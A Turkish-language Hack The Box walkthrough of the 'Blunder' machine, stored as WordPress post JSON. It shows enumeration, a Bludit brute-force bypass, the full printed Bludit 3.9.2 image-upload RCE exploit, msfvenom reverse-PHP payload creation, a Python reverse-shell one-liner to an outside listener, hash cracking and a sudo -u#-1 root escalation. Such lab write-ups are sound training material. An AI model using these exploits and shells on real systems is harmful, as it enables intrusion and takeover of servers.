{"id":1545,"date":"2021-09-08T16:10:25","date_gmt":"2021-09-08T16:10:25","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=1545"},"modified":"2021-09-08T16:14:06","modified_gmt":"2021-09-08T16:14:06","slug":"blunder","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/09\/08\/blunder\/","title":{"rendered":"Blunder"},"content":{"rendered":"\n\n\n\n\n
Makine Ad\u0131<\/th>\nSeviye<\/th>\nOS<\/th>\nLogo<\/th>\n<\/tr>\n<\/thead>\n
Blunder<\/a> - HTB<\/td>\nKolay<\/td>\nLinux<\/td>\n\"\"<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

Walkthrough<\/h2>\n

nmap taramas\u0131:<\/p>\n

\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/Linux\/Blunder\/10.10.10.191\/nmap]\n\u2514\u2500# cat Full_10.10.10.191.nmap \n# Nmap 7.91 scan initiated Tue Sep  7 11:57:25 2021 as: \/usr\/bin\/nmap -p- --max-retries 1 --max-rate 500 --max-scan-delay 20 -T4 -v --open -oN nmap\/Full_10.10.10.191.nmap --system-dns --stats-every 3s 10.10.10.191\nNmap scan report for 10.10.10.191\nHost is up (0.13s latency).\nNot shown: 65533 filtered ports, 1 closed port\nSome closed ports may be reported as filtered due to --defeat-rst-ratelimit\nPORT   STATE SERVICE\n80\/tcp open  http\n\nRead data files from: \/usr\/bin\/..\/share\/nmap\n# Nmap done at Tue Sep  7 12:02:13 2021 -- 1 IP address (1 host up) scanned in 288.45 seconds\n<\/code><\/pre>\n
\u0130ncelemeler yapmaya ba\u015flad\u0131m ve gobuster att\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/Desktop\/HTB\/Linux\/Blunder]\n\u2514\u2500# gobuster dir --url http:\/\/10.10.10.191\/  --add-slash --expanded --follow-redirect --no-error --wordlist \/usr\/share\/wordlists\/dirb\/big.txt -t 50 --extensions php,html,txt | tee gobuster1\n===============================================================\nGobuster v3.1.0\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/10.10.10.191\/\n[+] Method:                  GET\n[+] Threads:                 50\n[+] Wordlist:                \/usr\/share\/wordlists\/dirb\/big.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.1.0\n[+] Extensions:              html,txt,php\n[+] Add Slash:               true\n[+] Follow Redirect:         true\n[+] Expanded:                true\n[+] Timeout:                 10s\n===============================================================\n2021\/09\/07 11:58:52 Starting gobuster in directory enumeration mode\n===============================================================\nhttp:\/\/10.10.10.191\/.htaccess\/           (Status: 403) [Size: 277]\nhttp:\/\/10.10.10.191\/.htaccess.html       (Status: 403) [Size: 277]\nhttp:\/\/10.10.10.191\/.htaccess.txt        (Status: 403) [Size: 277]\nhttp:\/\/10.10.10.191\/.htpasswd\/           (Status: 403) [Size: 277]\nhttp:\/\/10.10.10.191\/.htpasswd.html       (Status: 403) [Size: 277]\nhttp:\/\/10.10.10.191\/.htpasswd.txt        (Status: 403) [Size: 277]\nhttp:\/\/10.10.10.191\/.htpasswd.php        (Status: 403) [Size: 277]\nhttp:\/\/10.10.10.191\/.htaccess.php        (Status: 403) [Size: 277]\nhttp:\/\/10.10.10.191\/0\/                   (Status: 200) [Size: 7562]\nhttp:\/\/10.10.10.191\/about\/               (Status: 200) [Size: 3281]\nhttp:\/\/10.10.10.191\/admin\/               (Status: 200) [Size: 2385]\nhttp:\/\/10.10.10.191\/icons\/               (Status: 403) [Size: 277] \nhttp:\/\/10.10.10.191\/install.php          (Status: 200) [Size: 30]  \nhttp:\/\/10.10.10.191\/robots.txt\/          (Status: 200) [Size: 22]  \nhttp:\/\/10.10.10.191\/robots.txt           (Status: 200) [Size: 22]  \nhttp:\/\/10.10.10.191\/server-status\/       (Status: 403) [Size: 277] \nhttp:\/\/10.10.10.191\/todo.txt             (Status: 200) [Size: 118] \nhttp:\/\/10.10.10.191\/usb\/                 (Status: 200) [Size: 3960]\n\n===============================================================\n2021\/09\/07 12:09:23 Finished\n===============================================================<\/code><\/pre>\n
todo.txt i\u00e7erisinde yzazanlar:<\/p>\n
-Update the CMS\n-Turn off FTP - DONE\n-Remove old users - DONE\n-Inform fergus that the new blog needs images - PENDING\n<\/code><\/pre>\n
Buradan fergus isimli bir kullan\u0131c\u0131 ald\u0131m sonras\u0131nda admin klas\u00f6r\u00fcne gittim. BLUDIT isimli bir proje var ve yay\u0131nlanm\u0131\u015f exploitleride var. Ancak uygulamaya giri\u015f yapmama\u0131z gerekiyor. Bunun \u00fczerine kaba kuvvet sald\u0131r\u0131s\u0131 yapmay\u0131 denedim. Her istekte yeni bir token var bu y\u00fczden direkt olarak sald\u0131r\u0131 yapmak imkans\u0131z her seferinde token'\u0131n\u0131da almak gerekiyor. Biri bunu yazm\u0131. Bu y\u00fczden kollar\u0131 s\u0131amama gerek kalmad\u0131. Farkl\u0131 wordlistleri denedikten sonra internet sayfas\u0131ndaki kelimeleri denedim ve Bingo!.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/HTB\/Linux\/Blunder\/exploit]\n\u2514\u2500# searchsploit BLUDIT                 \n---------------------------------------------------------------------------------------------------------------------------- ---------------------------------\n Exploit Title                                                                                                              |  Path\n---------------------------------------------------------------------------------------------------------------------------- ---------------------------------\nBludit  3.9.2 - Authentication Bruteforce Mitigation Bypass                                                                 | php\/webapps\/48746.rb\nBludit - Directory Traversal Image File Upload (Metasploit)                                                                 | php\/remote\/47699.rb\nBludit 3.9.12 - Directory Traversal                                                                                         | php\/webapps\/48568.py\nBludit 3.9.2 - Auth Bruteforce Bypass                                                                                       | php\/webapps\/48942.py\nBludit 3.9.2 - Authentication Bruteforce Bypass (Metasploit)                                                                | php\/webapps\/49037.rb\nBludit 3.9.2 - Directory Traversal                                                                                          | multiple\/webapps\/48701.txt\nbludit Pages Editor 3.0.0 - Arbitrary File Upload                                                                           | php\/webapps\/46060.txt\n---------------------------------------------------------------------------------------------------------------------------- ---------------------------------\nShellcodes: No Results\n\n\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/HTB\/Linux\/Blunder\/exploit]\n\u2514\u2500# searchsploit -m php\/webapps\/48942.py\n<\/code><\/pre>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/HTB\/Linux\/Blunder\/exploit]\n\u2514\u2500# cewl -w wordlist2 http:\/\/10.10.10.191 -d 3 \nCeWL 5.4.8 (Inclusion) Robin Wood (robin@digi.ninja) (https:\/\/digi.ninja\/)<\/code><\/pre>\n
\n\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/HTB\/Linux\/Blunder\/exploit]\n\u2514\u2500# python3 48942.py -l http:\/\/10.10.10.191\/admin\/ -u user -p wordlist2  1 \u2a2f\n[*] Bludit Auth BF Mitigation Bypass Script by ColdFusionX \n\n[d] Brute Force: Testing -> fergus:the\n[<] Brute Force: Testing -> fergus:Load\n[|] Brute Force: Testing -> fergus:Plugins\n[\u25d0] Brute Force: Testing -> fergus:and\n[q] Brute Force: Testing -> fergus:for\n[\u2596] Brute Force: Testing -> fergus:Include\n[.....\/..] Brute Force: Testing -> fergus:Site\n[\u2587] Brute Force: Testing -> fergus:Page\n[\\] Brute Force: Testing -> fergus:has\n[\u2510] Brute Force: Testing -> fergus:About\n[.....\/..] Brute Force: Testing -> fergus:King\n[↙] Brute Force: Testing -> fergus:with\n[\u2587] Brute Force: Testing -> fergus:USB\n[\u25d2] Brute Force: Testing -> fergus:Begin\n[......\/.] Brute Force: Testing -> fergus:more\n[q] Brute Force: Testing -> fergus:End\n[q] Brute Force: Testing -> fergus:service\n[\u2587] Brute Force: Testing -> fergus:from\n[\\] Brute Force: Testing -> fergus:Stadia\n[\u25e5] Brute Force: Testing -> fergus:Dynamic\n[O] Brute Force: Testing -> fergus:tag\n[\u25e5] Brute Force: Testing -> fergus:blunder\n[\\] Brute Force: Testing -> fergus:interesting\n[\u25d2] Brute Force: Testing -> fergus:facts\n[↙] Brute Force: Testing -> fergus:CSS\n[-] Brute Force: Testing -> fergus:this\n[\u259d] Brute Force: Testing -> fergus:Body\n[....\/...] Brute Force: Testing -> fergus:devices\n[\u259d] Brute Force: Testing -> fergus:been\n[v] Brute Force: Testing -> fergus:Google\n[\u259d] Brute Force: Testing -> fergus:games\n[\u2193] Brute Force: Testing -> fergus:Post\n[\u252c] Brute Force: Testing -> fergus:Cover\n[\u25e5] Brute Force: Testing -> fergus:image\n[\u259d] Brute Force: Testing -> fergus:Title\n[-] Brute Force: Testing -> fergus:content\n[\u259d] Brute Force: Testing -> fergus:created\n[\u25e5] Brute Force: Testing -> fergus:pages\n[\u252c] Brute Force: Testing -> fergus:Creation\n[\u25e5] Brute Force: Testing -> fergus:date\n[v] Brute Force: Testing -> fergus:November\n[ ] Brute Force: Testing -> fergus:Reading\n[\u252c] Brute Force: Testing -> fergus:time\n[\u2588] Brute Force: Testing -> fergus:minute\n[\u25e4] Brute Force: Testing -> fergus:books\n[\/] Brute Force: Testing -> fergus:have\n[ ] Brute Force: Testing -> fergus:Awards\n[...\/....] Brute Force: Testing -> fergus:Fantasy\n[\/] Brute Force: Testing -> fergus:National\n[\u250c] Brute Force: Testing -> fergus:The\n[↘] Brute Force: Testing -> fergus:his\n[\u250c] Brute Force: Testing -> fergus:was\n[↘] Brute Force: Testing -> fergus:players\n[\u2598] Brute Force: Testing -> fergus:allows\n[↘] Brute Force: Testing -> fergus:stream\n[...\/....] Brute Force: Testing -> fergus:site\n[v] Brute Force: Testing -> fergus:title\n[b] Brute Force: Testing -> fergus:description\n[\u252c] Brute Force: Testing -> fergus:Favicon\n[-] Brute Force: Testing -> fergus:Bootstrap\n[\u00b0] Brute Force: Testing -> fergus:file\n[v] Brute Force: Testing -> fergus:bootstrap\n[ ] Brute Force: Testing -> fergus:css\n[\u25e5] Brute Force: Testing -> fergus:Styles\n[v] Brute Force: Testing -> fergus:theme\n[\u2193] Brute Force: Testing -> fergus:head\n[\u2193] Brute Force: Testing -> fergus:Robots\n[O] Brute Force: Testing -> fergus:plugin\n[v] Brute Force: Testing -> fergus:Navbar\n[ ] Brute Force: Testing -> fergus:Static\n[↙] Brute Force: Testing -> fergus:Social\n[O] Brute Force: Testing -> fergus:Networks\n[\u252c] Brute Force: Testing -> fergus:Content\n[b] Brute Force: Testing -> fergus:Blog\n[\u259d] Brute Force: Testing -> fergus:Posts\n[\u25e5] Brute Force: Testing -> fergus:Stephen\n[ ] Brute Force: Testing -> fergus:such\n[\u259d] Brute Force: Testing -> fergus:Right\n[.....\/..] Brute Force: Testing -> fergus:Sidebar\n[\u2597] Brute Force: Testing -> fergus:dump\n[\u00b0] Brute Force: Testing -> fergus:fact\n[\u2587] Brute Force: Testing -> fergus:files\n[\u00b0] Brute Force: Testing -> fergus:nothing\n[-] Brute Force: Testing -> fergus:Footer\n[\u259d] Brute Force: Testing -> fergus:Copyright\n[b] Brute Force: Testing -> fergus:Powered\n[\u25e5] Brute Force: Testing -> fergus:byEgotisticalSW\n[v] Brute Force: Testing -> fergus:Javascript\n[-] Brute Force: Testing -> fergus:American\n[-] Brute Force: Testing -> fergus:fiction\n[ ] Brute Force: Testing -> fergus:novels\n[\u2193] Brute Force: Testing -> fergus:than\n[p] Brute Force: Testing -> fergus:which\n[b] Brute Force: Testing -> fergus:feature\n[\u00b0] Brute Force: Testing -> fergus:series\n[-] Brute Force: Testing -> fergus:published\n[\u2588] Brute Force: Testing -> fergus:received\n[\u252c] Brute Force: Testing -> fergus:World\n[b] Brute Force: Testing -> fergus:awarded\n[-] Brute Force: Testing -> fergus:Medal\n[\u00b0] Brute Force: Testing -> fergus:also\n[\u2588] Brute Force: Testing -> fergus:literature\n[\u00b0] Brute Force: Testing -> fergus:Award\n[\u00b0] Brute Force: Testing -> fergus:Arts\n[ ] Brute Force: Testing -> fergus:high\n[\u252c] Brute Force: Testing -> fergus:range\n[v] Brute Force: Testing -> fergus:via\n[\u25d2] Brute Force: Testing -> fergus:data\n[\u2510] Brute Force: Testing -> fergus:centers\n[\\] Brute Force: Testing -> fergus:through\n[\u2597] Brute Force: Testing -> fergus:smartphones\n[ ] Brute Force: Testing -> fergus:tablets\n[-] Brute Force: Testing -> fergus:state\n[\u2597] Brute Force: Testing -> fergus:This\n[\u2587] Brute Force: Testing -> fergus:used\n[\u2510] Brute Force: Testing -> fergus:that\n[\u2597] Brute Force: Testing -> fergus:users\n[↙] Brute Force: Testing -> fergus:library\n[\u25e5] Brute Force: Testing -> fergus:free\n[.] Brute Force: Testing -> fergus:their\n[|] Brute Force: Testing -> fergus:other\n[\u25e2] Brute Force: Testing -> fergus:Full\n[\u2596] Brute Force: Testing -> fergus:Breaked\n[......\/.] Brute Force: Testing -> fergus:name\n[<] Brute Force: Testing -> fergus:most\n[<] Brute Force: Testing -> fergus:Read\n[v] Brute Force: Testing -> fergus:button\n[↙] Brute Force: Testing -> fergus:are\n[.....\/..] Brute Force: Testing -> fergus:Edwin\n[\u25e5] Brute Force: Testing -> fergus:born\n[.....\/..] Brute Force: Testing -> fergus:September\n[.....\/..] Brute Force: Testing -> fergus:author\n[.....\/..] Brute Force: Testing -> fergus:horror\n[\\] Brute Force: Testing -> fergus:supernatural\n[\u2510] Brute Force: Testing -> fergus:suspense\n[ ] Brute Force: Testing -> fergus:fantasy\n[d] Brute Force: Testing -> fergus:His\n[\u25d2] Brute Force: Testing -> fergus:sold\n[\u25e5] Brute Force: Testing -> fergus:million\n[\u25e5] Brute Force: Testing -> fergus:copies\n[\u00b0] Brute Force: Testing -> fergus:many\n[\u252c] Brute Force: Testing -> fergus:adapted\n[ ] Brute Force: Testing -> fergus:into\n[\u259d] Brute Force: Testing -> fergus:films\n[\u25d3] Brute Force: Testing -> fergus:miniseries\n[\u2598] Brute Force: Testing -> fergus:television\n[\u2584] Brute Force: Testing -> fergus:comic\n[\\] Brute Force: Testing -> fergus:including\n[\u2190] Brute Force: Testing -> fergus:seven\n[↘] Brute Force: Testing -> fergus:under\n[\u25e3] Brute Force: Testing -> fergus:pen\n[\u259d] Brute Force: Testing -> fergus:Richard\n[\u2191] Brute Force: Testing -> fergus:Bachman\n[ ] Brute Force: Testing -> fergus:six\n[\u2192] Brute Force: Testing -> fergus:non\n[\u2518] Brute Force: Testing -> fergus:written\n[\u259d] Brute Force: Testing -> fergus:approximately\n[0] Brute Force: Testing -> fergus:short\n[d] Brute Force: Testing -> fergus:stories\n[\u2596] Brute Force: Testing -> fergus:book\n[\u2598] Brute Force: Testing -> fergus:collections\n[b] Brute Force: Testing -> fergus:Bram\n[O] Brute Force: Testing -> fergus:Stoker\n[\u2190] Brute Force: Testing -> fergus:British\n[\u25d0] Brute Force: Testing -> fergus:Society\n[.....\/..] Brute Force: Testing -> fergus:Book\n[\u00b0] Brute Force: Testing -> fergus:Foundation\n[\\] Brute Force: Testing -> fergus:him\n[.....\\..] Brute Force: Testing -> fergus:Distinguished\n[\u2596] Brute Force: Testing -> fergus:Contribution\n[\/] Brute Force: Testing -> fergus:Letters\n[O] Brute Force: Testing -> fergus:probably\n[\u25d2] Brute Force: Testing -> fergus:best\n[\u2524] Brute Force: Testing -> fergus:fictional\n[.....\/..] Brute Force: Testing -> fergus:character\n[\u2598] Brute Force: Testing -> fergus:RolandDeschain\n\n[*] SUCCESS !!\n[+] Use Credential -> fergus:RolandDeschain<\/code><\/pre>\n
Art\u0131k authonticate exploitleride kullanabilirim.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/HTB\/Linux\/Blunder\/exploit]\n\u2514\u2500# searchsploit -m multiple\/webapps\/48701.txt                                 130 \u2a2f\n  Exploit: Bludit 3.9.2 - Directory Traversal\n      URL: https:\/\/www.exploit-db.com\/exploits\/48701\n     Path: \/usr\/share\/exploitdb\/exploits\/multiple\/webapps\/48701.txt\nFile Type: Python script, ASCII text executable, with CRLF line terminators\n\nCopied to: \/home\/kali\/Desktop\/HTB\/Linux\/Blunder\/exploit\/48701.txt<\/code><\/pre>\n
Bu exploitin i\u00e7ini de\u011fi\u015ftirmemiz gerekecek normal hali a\u015fa\u011f\u0131daki gibi ama ben ip ve credential'leri de\u011fi\u015ftirdim. Ayn\u0131 zamanda yorum sat\u0131rlar\u0131ndaki komutlar\u0131da yapmak gerekiyor.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/HTB\/Linux\/Blunder\/exploit]\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/HTB\/Linux\/Blunder\/exploit]\n\u2514\u2500# more 48701.txt\n# Title: Bludit 3.9.2 - Directory Traversal\n# Author: James Green\n# Date: 2020-07-20\n# Vendor Homepage: https:\/\/www.bludit.com\n# Software Link: https:\/\/github.com\/bludit\/bludit\n# Version: 3.9.2\n# Tested on: Linux Ubuntu 19.10 Eoan\n# CVE: CVE-2019-16113\n# \n# Special Thanks to Ali Faraj (@InfoSecAli) and authors of MSF Module https:\/\/www.exploit-db.com\/exploits\/47699\n\n#### USAGE ####\n# 1. Create payloads: .png with PHP payload and the .htaccess to treat .pngs like PHP\n# 2. Change hardcoded values: URL is your target webapp, username and password is admin creds to get to the admin dir\n# 3. Run the exploit\n# 4. Start a listener to match your payload: `nc -nlvp 53`, meterpreter multi handler, etc\n# 5. Visit your target web app and open the evil picture: visit url + \/bl-content\/tmp\/temp\/evil.png\n\n#!\/usr\/bin\/env python3\n\nimport requests\nimport re\nimport argparse\nimport random\nimport string\nimport base64\nfrom requests.exceptions import Timeout\n\nurl = 'http:\/\/127.0.0.1'  # CHANGE ME\nusername = 'James'  # CHANGE ME\npassword = 'Summer2020'  # CHANGE ME\n\n# msfvenom -p php\/reverse_php LHOST=127.0.0.1 LPORT=53 -f raw -b '"' > evil.png\n# echo -e "<?php $(cat evil.png)" > evil.png \npayload = 'evil.png'  # CREATE ME\n\n# echo "RewriteEngine off" > .htaccess\n# echo "AddType application\/x-httpd-php .png" >> .htaccess\npayload2 = '.htaccess'  # CREATE ME\n\ndef login(url,username,password):\n    """ Log in with provided admin creds, grab the cookie once authenticated """\n\n    session = requests.Session()\n    login_page = session.get(url + "\/admin\/")\n    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"',\n                           login_page.text\n                 ).group(1)\n    cookie = ((login_page.headers["Set-Cookie"]).split(";")[0].split("=")[1])\n    data = {"save":"",\n            "password":password,\n            "tokenCSRF":csrf_token,\n            "username":username}\n    headers = {"Origin":url,\n               "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8",\n               "Upgrade-Insecure-Requests":"1",\n               "User-Agent":"Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko\/20100101 Firefox\/76.0",\n               "Connection":"close",\n               "Referer": url + "\/admin\/",\n               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",\n               "Accept-Encoding":"gzip, deflate",\n               "Content-Type":"application\/x-www-form-urlencoded"\n    }\n    cookies = {"BLUDIT-KEY":cookie}\n    response = session.post(url + "\/admin\/",\n                            data=data,\n                            headers=headers,\n                            cookies=cookies,\n                            allow_redirects = False\n               )\n\n    print("cookie: " + cookie)\n    return cookie\n\ndef get_csrf_token(url,cookie):\n    """ Grab the CSRF token from an authed session """\n\n    session = requests.Session()\n    headers = {"Origin":url,\n               "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8",\n               "Upgrade-Insecure-Requests":"1",\n               "User-Agent":"Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko\/20100101 Firefox\/76.0",\n               "Connection":"close",\n               "Referer":url + "\/admin\/",\n               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",\n               "Accept-Encoding":"gzip, deflate"}\n    cookies = {"BLUDIT-KEY":cookie}\n    response = session.get(url + "\/admin\/dashboard",\n                           headers=headers,\n                           cookies=cookies\n               )\n    csrf_token = response.text.split('var tokenCSRF = "')[1].split('"')[0]\n\n    print("csrf_token: " + csrf_token)\n    return csrf_token\n\ndef upload_evil_image(url, cookie, csrf_token, payload, override_uuid=False):\n    """ Upload files required for to execute PHP from malicious image files. Payload and .htaccess """\n\n    session = requests.Session()\n    files= {"images[]": (payload,\n                         open(payload, "rb"),\n                         "multipart\/form-data",\n                         {"Content-Type": "image\/png", "filename":payload}\n                        )}\n    if override_uuid:\n        data = {"uuid": "..\/..\/tmp\/temp",\n                "tokenCSRF":csrf_token}\n    else:\n        # On the vuln app, this line occurs first:\n        # Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);\n        # Even though there is a file extension check, it won't really stop us\n        # from uploading the .htaccess file.\n        data = {"tokenCSRF":csrf_token}\n    headers = {"Origin":url,\n               "Accept":"*\/*",\n               "X-Requested-With":"XMLHttpRequest",\n               "User-Agent":"Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko\/20100101 Firefox\/76.0",\n               "Connection":"close",\n               "Referer":url + "\/admin\/new-content",\n               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",\n               "Accept-Encoding":"gzip, deflate",\n    }\n    cookies = {"BLUDIT-KEY":cookie}\n    response = session.post(url + "\/admin\/ajax\/upload-images", data=data, files=files, headers=headers, cookies=cookies)\n    print("Uploading payload: " + payload)\n\nif __name__ == "__main__":\n    cookie = login(url, username, password)\n    token = get_csrf_token(url, cookie)\n    upload_evil_image(url, cookie, token, payload, True)\n    upload_evil_image(url, cookie, token, payload2)<\/code><\/pre>\n
\n\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/HTB\/Linux\/Blunder\/exploit]\n\u2514\u2500# msfvenom -p php\/reverse_php LHOST=10.10.14.18 LPORT=53 -f raw -b '"' > evil.png\n[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload\n[-] No arch selected, selecting arch: php from the payload\nFound 2 compatible encoders\nAttempting to encode payload with 1 iterations of php\/base64\nphp\/base64 succeeded with size 4061 (iteration=0)\nphp\/base64 chosen with final size 4061\nPayload size: 4061 bytes<\/code><\/pre>\n
\n\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/HTB\/Linux\/Blunder\/exploit]\n\u2514\u2500# echo -e "<?php $(cat evil.png)" > evil.png\n\n\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/HTB\/Linux\/Blunder\/exploit]\n\u2514\u2500# mv 48701.txt 48701.py \n\n\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/HTB\/Linux\/Blunder\/exploit]\n\u2514\u2500# nano 48701.py \n\n\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/HTB\/Linux\/Blunder\/exploit]\n\u2514\u2500# echo "RewriteEngine off" > .htaccess\n\n\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/HTB\/Linux\/Blunder\/exploit]\n\u2514\u2500# echo "AddType application\/x-httpd-php .png" >> .htaccess\n\n\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/HTB\/Linux\/Blunder\/exploit]\n\u2514\u2500# python3 48701.py \ncookie: 32bpcas1t5vin0a12fcdg0n573\ncsrf_token: cc732dcec5337c18b9645752f0c0c108ee1a9042<\/code><\/pre>\n
Evet art\u0131k http:\/\/10.10.10.191\/bl-content\/tmp\/temp\/evil.png<\/a> adresine gidelim ve reverse alal\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/HTB\/Linux\/Blunder\/exploit]\n\u2514\u2500# nc -lvp 53  \nlistening on [any] 53 ...\nid\n10.10.10.191: inverse host lookup failed: Unknown host\nconnect to [10.10.14.18] from (UNKNOWN) [10.10.10.191] 48354\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n<\/code><\/pre>\n
\u0130\u00e7eride gezinirken yeni bir hash buldum ve kolayca k\u0131rd\u0131m. \u0130lk notu hat\u0131rlamak gerekiyor...<\/p>\n
pwd       \n\/var\/www\/bludit-3.10.0a\/bl-content\/databases\ncat users.php\n<?php defined('BLUDIT') or die('Bludit CMS.'); ?>\n{\n    "admin": {\n        "nickname": "Hugo",\n        "firstName": "Hugo",\n        "lastName": "",\n        "role": "User",\n        "password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",\n        "email": "",\n        "registered": "2019-11-27 07:40:55",\n        "tokenRemember": "",\n        "tokenAuth": "b380cb62057e9da47afce66b4615107d",\n        "tokenAuthTTL": "2009-03-15 14:00",\n        "twitter": "",\n        "facebook": "",\n        "instagram": "",\n        "codepen": "",\n        "linkedin": "",\n        "github": "",\n        "gitlab": ""}\n}\n<\/code><\/pre>\n
faca404fd5c0a31cf1897b823c695c85cffeb98d:Password120\n\nhttps:\/\/sha1.gromweb.com\/?hash=faca404fd5c0a31cf1897b823c695c85cffeb98d<\/code><\/pre>\n
Shellim k\u00f6t\u00fcyd\u00fc bunun \u00fczerine bende daha iyi bir shell'e ge\u00e7i\u015f yapt\u0131m.<\/p>\n
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.18",1822));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("\/bin\/sh")'\n<\/code><\/pre>\n
\n\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/Desktop\/HTB\/Linux\/Blunder]\n\u2514\u2500# nc -lvp 1822                                                                                                 1 \u2a2f\nlistening on [any] 1822 ...\nid\n10.10.10.191: inverse host lookup failed: Unknown host\nconnect to [10.10.14.18] from (UNKNOWN) [10.10.10.191] 48940\n$ id\n\n$ su hugo\nsu hugo\nPassword: Password120\n\nhugo@blunder:\/var\/www\/bludit-3.9.2\/bl-content\/tmp\/temp$ sudo -l\nsudo -l\nPassword: Password120\n\nMatching Defaults entries for hugo on blunder:\n    env_reset, mail_badpass,\n    secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\\:\/snap\/bin\n\nUser hugo may run the following commands on blunder:\n    (ALL, !root) \/bin\/bash\n<\/code><\/pre>\n
\nhugo@blunder:\/var\/www\/bludit-3.9.2\/bl-content\/tmp\/temp$ sudo -u#-1 \/bin\/bash\nsudo -u#-1 \/bin\/bash\nroot@blunder:\/var\/www\/bludit-3.9.2\/bl-content\/tmp\/temp# id\nid\nuid=0(root) gid=1001(hugo) groups=1001(hugo)\nroot@blunder:\/var\/www\/bludit-3.9.2\/bl-content\/tmp\/temp# cd \/root\ncd \/root\nroot@blunder:\/root# ls\nls\nroot.txt  snap\nroot@blunder:\/root# cat root.txt\ncat root.txt\n3cfb78779a7cb88909ae1d3d403b51ff\nroot@blunder:\/root# cd \/home\/hugo\ncd \/home\/hugo\nroot@blunder:\/home\/hugo# cat user.txt\ncat user.txt\n3671aaf7126c023513974237bca33c1c\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
Makine Ad\u0131 Seviye OS Logo Blunder – HTB Kolay Linux Walkthrough nmap taramas\u0131: \u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/Linux\/Blunder\/10.10.10.191\/nmap] \u2514\u2500# cat Full_10.10.10.191.nmap # Nmap 7.91 scan initiated Tue Sep 7…<\/p>\n
Devam\u0131n\u0131 okuBlunder<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[],"class_list":["post-1545","post","type-post","status-publish","format-standard","hentry","category-walkthrough","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1545","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1545"}],"version-history":[{"count":2,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1545\/revisions"}],"predecessor-version":[{"id":1547,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1545\/revisions\/1547"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1545"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1545"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1545"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}